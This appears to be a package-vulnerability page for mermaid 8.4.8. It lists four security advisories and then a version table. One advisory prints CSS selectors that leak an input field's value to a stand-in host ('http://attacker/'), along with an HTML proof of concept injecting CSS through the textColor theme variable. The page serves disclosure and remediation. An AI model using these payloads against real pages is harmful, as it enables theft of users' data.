NodeJS/mermaid/8.4.8
Markdown-ish syntax for generating flowcharts, mindmaps, sequence diagrams, class diagrams, gantt charts, git graphs and more.
https://www.npmjs.com/package/mermaid
MIT
4 Security Vulnerabilities
Cross-site Scripting in Mermaid
- https://nvd.nist.gov/vuln/detail/CVE-2021-35513
- https://github.com/mermaid-js/mermaid/issues/2122
- https://github.com/mermaid-js/mermaid/pull/2123
- https://github.com/mermaid-js/mermaid/pull/2123/commits/3d22fa5d2435de5acc18de6f88474a6e8675a60e
- https://github.com/mermaid-js/mermaid/releases/tag/8.11.0-rc2
- https://github.com/advisories/GHSA-4f6x-49g2-99fm
Mermaid before 8.11.0 allows XSS when the antiscript feature is used.
Prototype pollution vulnerability found in Mermaid's bundled version of DOMPurify
- https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674
- https://github.com/mermaid-js/mermaid/security/advisories/GHSA-m4gq-x24j-jpmf
- https://github.com/mermaid-js/mermaid/commit/6c785c93166c151d27d328ddf68a13d9d65adc00
- https://github.com/mermaid-js/mermaid/commit/92a07ffe40aab2769dd1c3431b4eb5beac282b34
- https://github.com/advisories/GHSA-m4gq-x24j-jpmf
The following bundled files within the Mermaid NPM package contain a bundled version of DOMPurify that is vulnerable to https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674, potentially resulting in an XSS attack.
This affects the built:
dist/mermaid.min.js
dist/mermaid.js
dist/mermaid.esm.mjs
dist/mermaid.esm.min.mjs
This will also affect users that use the above files via a CDN link, e.g. https://cdn.jsdelivr.net/npm/mermaid@10.9.2/dist/mermaid.min.js
Users that use the default NPM export of mermaid
, e.g. import mermaid from 'mermaid'
, or the dist/mermaid.core.mjs
file, do not use this bundled version of DOMPurify, and can easily update using their package manager with something like npm audit fix
.
Patches
develop
branch: 6c785c93166c151d27d328ddf68a13d9d65adc00- backport to v10: 92a07ffe40aab2769dd1c3431b4eb5beac282b34
Incorrect sanitisation function leads to `XSS` in mermaid
- https://github.com/mermaid-js/mermaid/security/advisories/GHSA-p3rp-vmj9-gv6v
- https://nvd.nist.gov/vuln/detail/CVE-2021-43861
- https://github.com/mermaid-js/mermaid/commit/066b7a0d0bda274d94a2f2d21e4323dab5776d83
- https://github.com/mermaid-js/mermaid/releases/tag/8.13.8
- https://github.com/advisories/GHSA-p3rp-vmj9-gv6v
Impact
Malicious diagrams can contain javascript code that can be run at diagram readers machines.
Patches
The users should upgrade to version 8.13.8
Workarounds
You need to upgrade in order to avoid this issue.
Possible inject arbitrary `CSS` into the generated graph affecting the container HTML
An attacker is able to inject arbitrary CSS
into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS
selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value
attribute one character at a time. Whenever there is an actual match, an http
request will be made by the browser in order to load
a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address
Product
mermaid.js
Tested Version
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036
)
By supplying a carefully crafted textColor
theme variable, an attacker can inject arbitrary CSS
rules into the document. In the following snippet we can see that getStyles
does not sanitize any of the theme variables leaving the door open for CSS
injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor
to "green;} #target { background-color: crimson }"
the resulting CSS
will contain a new selector #target
that will apply a crimson
background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor
variable to inject CSS
, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35
Impact
This issue may lead to Information Disclosure
via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
235 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
9.1.3 | MIT | 1 | 2022-06-28 - 18:09 | over 2 years |
9.1.2 | MIT | 1 | 2022-06-14 - 17:33 | over 2 years |
9.1.1 | MIT | 2 | 2022-05-11 - 12:27 | over 2 years |
9.1.0 | MIT | 2 | 2022-05-10 - 16:44 | over 2 years |
9.0.1 | MIT | 2 | 2022-04-21 - 20:05 | over 2 years |
9.0.0 | MIT | 2 | 2022-04-07 - 18:44 | over 2 years |
8.14.0 | MIT | 2 | 2022-02-10 - 17:52 | almost 3 years |
8.14.0-rc1 | MIT | 2 | 2022-01-22 - 12:33 | almost 3 years |
8.13.10 | MIT | 2 | 2022-01-22 - 09:07 | almost 3 years |
8.13.9 | MIT | 2 | 2022-01-16 - 15:07 | almost 3 years |
8.13.8 | MIT | 2 | 2021-12-29 - 10:23 | almost 3 years |
8.13.7 | MIT | 3 | 2021-12-23 - 10:18 | almost 3 years |
8.13.6 | MIT | 3 | 2021-12-16 - 19:16 | almost 3 years |
8.13.5 | MIT | 3 | 2021-12-08 - 06:31 | almost 3 years |
8.13.4 | MIT | 3 | 2021-11-18 - 16:08 | almost 3 years |
8.13.3 | MIT | 3 | 2021-10-14 - 19:18 | about 3 years |
8.13.2 | MIT | 3 | 2021-09-29 - 18:25 | about 3 years |
8.13.1 | MIT | 3 | 2021-09-29 - 18:02 | about 3 years |
8.13.0 | MIT | 3 | 2021-09-23 - 16:26 | about 3 years |
8.12.1 | MIT | 3 | 2021-09-05 - 09:34 | about 3 years |
8.12.0 | MIT | 3 | 2021-08-26 - 17:34 | about 3 years |
8.11.5 | MIT | 3 | 2021-08-16 - 13:39 | about 3 years |
8.11.4 | MIT | 3 | 2021-08-05 - 17:57 | over 3 years |
8.11.3 | MIT | 3 | 2021-08-04 - 17:22 | over 3 years |
8.11.2 | MIT | 3 | 2021-07-30 - 08:34 | over 3 years |
8.11.1 | MIT | 3 | 2021-07-28 - 13:57 | over 3 years |
8.11.0 | MIT | 3 | 2021-06-27 - 05:53 | over 3 years |
8.10.2 | MIT | 4 | 2021-06-06 - 06:19 | over 3 years |
8.10.1 | MIT | 4 | 2021-05-10 - 16:59 | over 3 years |
8.9.3 | MIT | 4 | 2021-04-25 - 11:27 | over 3 years |
8.9.2 | MIT | 4 | 2021-03-11 - 20:20 | over 3 years |
8.9.1 | MIT | 4 | 2021-02-18 - 20:39 | over 3 years |
8.9.0 | MIT | 4 | 2021-01-21 - 19:53 | almost 4 years |
8.8.4 | MIT | 4 | 2020-12-05 - 13:43 | almost 4 years |
8.8.3 | MIT | 4 | 2020-11-05 - 18:43 | about 4 years |
8.8.2 | MIT | 4 | 2020-10-08 - 17:34 | about 4 years |
8.8.1 | MIT | 4 | 2020-09-30 - 17:22 | about 4 years |
8.8.0 | MIT | 4 | 2020-09-05 - 07:45 | about 4 years |
8.7.0 | MIT | 4 | 2020-08-09 - 12:00 | over 4 years |
8.6.4 | MIT | 4 | 2020-07-26 - 20:25 | over 4 years |
8.6.3 | MIT | 4 | 2020-07-24 - 11:17 | over 4 years |
8.6.2 | MIT | 4 | 2020-07-22 - 17:16 | over 4 years |
8.6.1 | MIT | 4 | 2020-07-22 - 16:53 | over 4 years |
8.6.0 | MIT | 4 | 2020-07-13 - 14:39 | over 4 years |
8.5.2 | MIT | 4 | 2020-06-07 - 08:52 | over 4 years |
8.5.1 | MIT | 4 | 2020-05-17 - 08:02 | over 4 years |
8.5.0 | MIT | 4 | 2020-04-11 - 15:46 | over 4 years |
8.4.8 | MIT | 4 | 2020-02-21 - 09:42 | over 4 years |
8.4.7 | MIT | 4 | 2020-02-16 - 13:00 | over 4 years |
8.4.6 | MIT | 4 | 2020-01-22 - 18:21 | almost 5 years |
8.4.5 | MIT | 4 | 2020-01-11 - 09:03 | almost 5 years |
8.4.4 | MIT | 4 | 2019-12-14 - 08:22 | almost 5 years |
8.4.3 | MIT | 4 | 2019-12-01 - 06:47 | almost 5 years |
8.4.2 | MIT | 4 | 2019-11-07 - 20:39 | about 5 years |
8.4.1 | MIT | 4 | 2019-11-06 - 18:42 | about 5 years |
8.4.0 | MIT | 4 | 2019-10-19 - 14:48 | about 5 years |
8.3.1 | MIT | 4 | 2019-09-19 - 22:10 | about 5 years |
8.3.0 | MIT | 4 | 2019-09-19 - 05:33 | about 5 years |
8.2.6 | MIT | 4 | 2019-09-01 - 11:18 | about 5 years |
8.2.5 | MIT | 4 | 2019-08-26 - 18:25 | about 5 years |
8.2.4 | MIT | 4 | 2019-08-25 - 13:32 | about 5 years |
8.2.3 | MIT | 4 | 2019-07-22 - 12:25 | over 5 years |
8.2.2 | MIT | 5 | 2019-07-21 - 14:41 | over 5 years |
8.2.1 | MIT | 5 | 2019-07-21 - 09:34 | over 5 years |
8.1.0 | MIT | 5 | 2019-06-25 - 08:39 | over 5 years |
8.0.0 | MIT | 5 | 2018-12-18 - 06:56 | almost 6 years |
8.0.0-rc.8 | MIT | 4 | 2018-04-12 - 15:06 | over 6 years |
8.0.0-rc.7 | MIT | 4 | 2018-04-12 - 01:07 | over 6 years |
8.0.0-rc.6 | MIT | 4 | 2018-03-21 - 13:30 | over 6 years |
8.0.0-rc.5 | MIT | 4 | 2018-03-20 - 15:05 | over 6 years |
8.0.0-rc.4 | MIT | 4 | 2018-03-20 - 13:51 | over 6 years |
8.0.0-rc.3 | MIT | 4 | 2018-03-20 - 12:42 | over 6 years |
8.0.0-rc.2 | MIT | 4 | 2018-03-20 - 12:10 | over 6 years |
8.0.0-rc.1 | MIT | 4 | 2018-03-19 - 01:32 | over 6 years |
8.0.0-beta.9 | MIT | 4 | 2018-03-18 - 01:36 | over 6 years |
8.0.0-beta.8 | MIT | 4 | 2018-03-18 - 01:09 | over 6 years |
8.0.0-beta.7 | MIT | 4 | 2018-03-17 - 15:20 | over 6 years |
8.0.0-beta.6 | MIT | 4 | 2018-03-17 - 10:13 | over 6 years |
8.0.0-beta.5 | MIT | 4 | 2018-03-17 - 01:11 | over 6 years |
8.0.0-beta.4 | MIT | 4 | 2018-03-16 - 12:28 | over 6 years |
8.0.0-beta.3 | MIT | 4 | 2018-03-16 - 12:17 | over 6 years |
8.0.0-beta.2 | MIT | 4 | 2018-03-15 - 14:45 | over 6 years |
8.0.0-beta.1 | MIT | 4 | 2018-03-15 - 13:49 | over 6 years |
8.0.0-alpha.9 | MIT | 4 | 2018-03-14 - 13:41 | over 6 years |
8.0.0-alpha.8 | MIT | 4 | 2018-03-13 - 14:57 | over 6 years |
8.0.0-alpha.6 | MIT | 4 | 2018-03-13 - 11:32 | over 6 years |
8.0.0-alpha.5 | MIT | 4 | 2018-03-13 - 05:25 | over 6 years |
8.0.0-alpha.4 | MIT | 4 | 2018-03-12 - 13:35 | over 6 years |
8.0.0-alpha.3 | MIT | 4 | 2018-03-11 - 15:49 | over 6 years |
8.0.0-alpha.2 | MIT | 4 | 2018-03-11 - 15:28 | over 6 years |
8.0.0-alpha.1 | MIT | 4 | 2018-03-09 - 01:36 | over 6 years |
7.1.2 | MIT | 4 | 2017-12-26 - 13:00 | almost 7 years |
7.1.1 | MIT | 4 | 2017-12-20 - 14:20 | almost 7 years |
7.1.0 | MIT | 4 | 2017-09-14 - 03:26 | about 7 years |
7.0.18 | MIT | 4 | 2017-09-13 - 02:14 | about 7 years |
7.0.17 | MIT | 4 | 2017-09-12 - 15:14 | about 7 years |
7.0.16 | MIT | 4 | 2017-09-12 - 14:51 | about 7 years |
7.0.15 | MIT | 4 | 2017-09-12 - 14:16 | about 7 years |
7.0.14 | MIT | 4 | 2017-09-11 - 15:03 | about 7 years |
7.0.13 | MIT | 4 | 2017-09-10 - 15:15 | about 7 years |